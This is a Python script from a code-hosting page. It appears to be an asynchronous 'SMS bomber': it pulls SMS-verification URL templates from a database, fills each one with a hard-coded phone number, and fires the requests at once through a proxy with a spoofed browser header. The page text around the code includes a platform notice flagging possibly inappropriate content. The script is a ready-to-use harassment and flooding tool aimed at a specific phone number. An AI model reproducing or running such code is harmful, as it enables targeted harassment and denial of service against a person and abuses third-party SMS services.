代码拉取完成,页面将自动刷新
#!/usr/bin/python python3
# coding=utf-8
'''
Author: whalefall
Date: 2021-08-07 21:23:35
LastEditTime: 2021-08-30 11:54:39
Description: 异步轰炸
'''
import httpx
import asyncio
from utils.db_sqlite import Sql
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36",
}
async def get(url, session: httpx.AsyncClient):
'''异步请求'''
print(f"开始请求{url}")
try:
# resp = session.get(url, headers=header)
status = await session.get(url, headers=header)
print(status.text)
except Exception as e:
print(f'请求失败{url}.{e}')
async def main():
urls = Sql().select()
tasks = []
async with httpx.AsyncClient(timeout=8,proxies={"all://":"http://120.52.73.44:18080"}) as session:
for url in urls:
url = url.replace("{phone}", "19820294268")
task = asyncio.create_task(get(url, session))
tasks.append(task)
await asyncio.wait(tasks)
if __name__ == "__main__":
asyncio.run(main())
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。